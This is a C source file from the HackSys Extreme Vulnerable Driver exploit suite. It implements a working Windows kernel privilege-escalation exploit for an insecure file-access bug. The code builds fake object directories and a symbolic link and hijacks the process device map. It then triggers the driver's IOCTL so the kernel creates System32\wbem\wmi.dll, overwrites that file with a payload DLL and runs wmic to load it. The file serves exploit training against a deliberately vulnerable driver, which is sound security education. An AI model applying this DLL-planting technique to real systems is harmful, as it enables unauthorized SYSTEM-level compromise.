/*++

          ##     ## ######## ##     ## ########  
          ##     ## ##       ##     ## ##     ## 
          ##     ## ##       ##     ## ##     ## 
          ######### ######   ##     ## ##     ## 
          ##     ## ##        ##   ##  ##     ## 
          ##     ## ##         ## ##   ##     ## 
          ##     ## ########    ###    ########  

        HackSys Extreme Vulnerable Driver Exploit

Author : Ashfaq Ansari
Contact: ashfaq[at]hacksys[dot]io
Website: https://hacksys.io/

Copyright (C) 2021-2023 HackSys Inc. All rights reserved.
Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.

This program is free software: you can redistribute it and/or modify it under the terms of
the GNU General Public License as published by the Free Software Foundation, either version
3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program.
If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

See the file 'LICENSE' for complete copying permission.

Module Name:
    InsecureKernelResourceAccess.c

Abstract:
    This module implements the exploit for Insecure Kernel Resource Access Vulnerability
    implemented in HackSys Extreme Vulnerable Driver.

References:
    https://github.com/tyranid/windows-logical-eop-workshop

--*/

#include "InsecureKernelResourceAccess.h"

NTSTATUS SetProcessDeviceMap(HANDLE DirectoryHandle) {
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
    PROCESS_DEVICEMAP_INFORMATION DeviceMap = {DirectoryHandle};

    NtStatus = NtSetInformationProcess((HANDLE)0xFFFFFFFF,
                                       ProcessDeviceMap,
                                       &DeviceMap,
                                       sizeof(DeviceMap));
    if (NtStatus != STATUS_SUCCESS) {
        DEBUG_ERROR("\t\t[-] Failed to set per-process DeviceMap: 0x%X\n", NtStatus);
        exit(EXIT_FAILURE);
    }

    return NtStatus;
}

HANDLE CreateObjectDirectory(HANDLE hRoot, LPCWSTR DirectoryName) {
    HANDLE DirectoryHandle = NULL;
    UNICODE_STRING ObjectName = {0};
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
    OBJECT_ATTRIBUTES ObjectAttributes = {0};
    PUNICODE_STRING pUnicodeObjectName = NULL;

    if (DirectoryName) {
        RtlInitUnicodeString(&ObjectName, DirectoryName);
        pUnicodeObjectName = &ObjectName;
    }

    InitializeObjectAttributes(&ObjectAttributes,
                               pUnicodeObjectName,
                               OBJ_CASE_INSENSITIVE,
                               hRoot,
                               0);

    NtStatus = NtCreateDirectoryObject(&DirectoryHandle, DIRECTORY_ALL_ACCESS, &ObjectAttributes);
    if (NtStatus != STATUS_SUCCESS) {
        DEBUG_ERROR("\t\t[-] Failed to create object directory: 0x%X\n", NtStatus);
        exit(EXIT_FAILURE);
    }

    return DirectoryHandle;
}

HANDLE OpenObjectDirectory(HANDLE hRoot, LPCWSTR DirectoryName) {
    HANDLE DirectoryHandle = NULL;
    UNICODE_STRING ObjectName = {0};
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
    OBJECT_ATTRIBUTES ObjectAttributes = {0};

    RtlInitUnicodeString(&ObjectName, DirectoryName);
    InitializeObjectAttributes(&ObjectAttributes, &ObjectName, OBJ_CASE_INSENSITIVE, hRoot, NULL);

    NtStatus = NtOpenDirectoryObject(&DirectoryHandle, MAXIMUM_ALLOWED, &ObjectAttributes);
    if (NtStatus != STATUS_SUCCESS) {
        DEBUG_ERROR("\t\t[-] Failed to open object directory: 0x%X\n", NtStatus);
        exit(EXIT_FAILURE);
    }

    return DirectoryHandle;
}

HANDLE CreateSymlink(HANDLE hRoot, LPCWSTR SymbolicLinkName, LPCWSTR TargetName) {
    HANDLE SymbolicLinkHandle = NULL;
    UNICODE_STRING TargetObjectName = {0};
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
    OBJECT_ATTRIBUTES ObjectAttributes = {0};
    UNICODE_STRING SymbolicLinkObjectName = {0};

    RtlInitUnicodeString(&SymbolicLinkObjectName, SymbolicLinkName);
    RtlInitUnicodeString(&TargetObjectName, TargetName);

    InitializeObjectAttributes(&ObjectAttributes,
                               &SymbolicLinkObjectName,
                               OBJ_CASE_INSENSITIVE,
                               hRoot,
                               NULL);

    NtStatus = NtCreateSymbolicLinkObject(&SymbolicLinkHandle,
                                          SYMBOLIC_LINK_ALL_ACCESS,
                                          &ObjectAttributes,
                                          &TargetObjectName);
    if (NtStatus != STATUS_SUCCESS) {
        DEBUG_ERROR("\t\t[-] Failed to create symbolic link object: 0x%X\n", NtStatus);
        exit(EXIT_FAILURE);
    }

    return SymbolicLinkHandle;
}

VOID WritePayloadDll(LPCTSTR szPath) {
    CHAR Buffer[4096] = {0};
    HANDLE TargetDllFileHandle = NULL;
    HANDLE SourceDllFileHandle = NULL;
    DWORD dwBytesRead, dwBytesWritten;
    LPCTSTR SourceDllFilePath = "payload.dll";

    TargetDllFileHandle = CreateFile(szPath,
                                     GENERIC_ALL,
                                     0,
                                     NULL,
                                     OPEN_EXISTING,
                                     FILE_ATTRIBUTE_NORMAL,
                                     NULL);

    if (TargetDllFileHandle == INVALID_HANDLE_VALUE) {
        DEBUG_ERROR("\t\t[-] Target file does not exist: %s\n", szPath);
        exit(EXIT_FAILURE);
    }

    SourceDllFileHandle = CreateFile(SourceDllFilePath,
                                     GENERIC_ALL,
                                     0,
                                     NULL,
                                     OPEN_EXISTING,
                                     FILE_ATTRIBUTE_NORMAL,
                                     NULL);

    if (SourceDllFileHandle == INVALID_HANDLE_VALUE) {
        DEBUG_ERROR("\t\t[-] Source payload DLL file does not exist: %s\n", SourceDllFilePath);
        exit(EXIT_FAILURE);
    }

    do {
        if (!ReadFile(SourceDllFileHandle, Buffer, sizeof(Buffer), &dwBytesRead, NULL)) {
            DEBUG_ERROR("\t\t[-] Unable to read file: %s\n", SourceDllFilePath);
            break;
        }

        if (dwBytesRead == 0) {
            break;
        }

        if (!WriteFile(TargetDllFileHandle, Buffer, dwBytesRead, &dwBytesWritten, NULL)) {
            DEBUG_ERROR("\t\t[-] Unable to write file: %s\n", szPath);
            break;
        }
    }
    while (TRUE);

    CloseHandle(SourceDllFileHandle);
    CloseHandle(TargetDllFileHandle);
}

VOID LaunchWMIProcess() {
    STARTUPINFOW StartupInformation;
    PROCESS_INFORMATION ProcessInformation;

    ZeroMemory(&StartupInformation, sizeof(StartupInformation));
    StartupInformation.cb = sizeof(StartupInformation);

    ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));

    if (CreateProcessW(L"C:\\Windows\\System32\\wbem\\wmic.exe",
                       L"wmic baseboard",
                       NULL,
                       NULL,
                       FALSE,
                       CREATE_NO_WINDOW,
                       NULL,
                       NULL,
                       &StartupInformation,
                       &ProcessInformation)) {
        WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
        CloseHandle(ProcessInformation.hProcess);
        CloseHandle(ProcessInformation.hThread);
    }
}

DWORD WINAPI InsecureKernelFileAccessThread(LPVOID Parameter) {
    HANDLE hFile = NULL;
    ULONG BytesReturned;
    HANDLE hTempObject = NULL;
    HANDLE hGlobalRootObject = NULL;
    HANDLE hPerProcessRootObject = NULL;
    LPCSTR FileName = (LPCSTR)DEVICE_NAME;

    __try {
        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);

        hFile = GetDeviceHandle(FileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        // Resolve Kernel Symbols
        ResolveKernelAPIs();

        DEBUG_MESSAGE("\t[+] Creating Object Directories\n");
        DEBUG_INFO("\t\t[+] \\..\\C:\\Windows\\System32\n");

        // Get create object root directory
        hPerProcessRootObject = CreateObjectDirectory(NULL, NULL);
        hTempObject = CreateObjectDirectory(hPerProcessRootObject, L"C:");
        hTempObject = CreateObjectDirectory(hTempObject, L"Windows");
        hTempObject = CreateObjectDirectory(hTempObject, L"System32");

        DEBUG_MESSAGE("\t[+] Dropping Symbolic Link\n");
        DEBUG_INFO("\t\t[+] HEVD.log -> \\GLOBAL??\\C:\\Windows\\System32\\wbem\\wmi.dll\n");

        hTempObject = CreateSymlink(hTempObject, L"HEVD.log", L"\\GLOBAL??\\C:\\Windows\\System32\\wbem\\wmi.dll");

        DEBUG_MESSAGE("\t[+] Getting handle to \\GLOBAL?? Object\n");

        hGlobalRootObject = OpenObjectDirectory(NULL, L"\\GLOBAL??");

        DEBUG_MESSAGE("\t[+] Setting per-process device map to new Object root\n");

        SetProcessDeviceMap(hPerProcessRootObject);

        DEBUG_MESSAGE("\t[+] Triggering Insecure Kernel File Access\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS,
                        NULL,
                        0,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");

        DEBUG_MESSAGE("\t[+] Restoring per-process device map to \\GLOBAL??\n");

        SetProcessDeviceMap(hGlobalRootObject);

        DEBUG_MESSAGE("\t[+] Writing payload DLL in C:\\Windows\\System32\\wbem\\wmi.dll\n");

        WritePayloadDll("C:\\Windows\\System32\\wbem\\wmi.dll");

        DEBUG_MESSAGE("\t[+] Triggering the payload\n");

        LaunchWMIProcess();
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}
